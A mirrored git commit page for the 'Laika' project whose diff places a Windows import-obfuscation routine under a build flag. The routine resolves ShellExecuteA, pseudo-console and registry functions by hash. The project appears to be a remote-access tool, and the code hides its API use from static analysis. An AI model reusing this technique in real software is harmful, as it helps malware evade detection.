mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-23 15:00:12 +00:00
minor 'DEBUG' refactoring
- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h - LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well
This commit is contained in:
@@ -137,6 +137,7 @@ _findByHashFail:
|
||||
|
||||
/* ======================================[[ Exposed API ]]====================================== */
|
||||
|
||||
#ifdef LAIKA_OBFUSCATE
|
||||
_ShellExecuteA oShellExecuteA;
|
||||
_CreatePseudoConsole oCreatePseudoConsole;
|
||||
_ClosePseudoConsole oClosePseudoConsole;
|
||||
@@ -163,4 +164,10 @@ void laikaO_init()
|
||||
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
|
||||
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
|
||||
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
|
||||
}
|
||||
}
|
||||
#else
|
||||
void laikaO_init()
|
||||
{
|
||||
/* stubbed!! */
|
||||
}
|
||||
#endif
|
Reference in New Issue
Block a user